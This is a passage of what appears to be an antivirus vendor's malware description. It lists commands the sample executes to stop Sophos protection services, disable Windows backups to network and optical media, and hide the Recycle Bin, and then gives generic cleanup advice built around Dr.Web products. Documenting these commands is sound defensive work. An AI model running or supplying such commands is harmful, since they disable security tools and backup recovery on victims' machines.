  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Web Control Service"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Web Control Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos System Protection Service"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$TPSAMA"

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android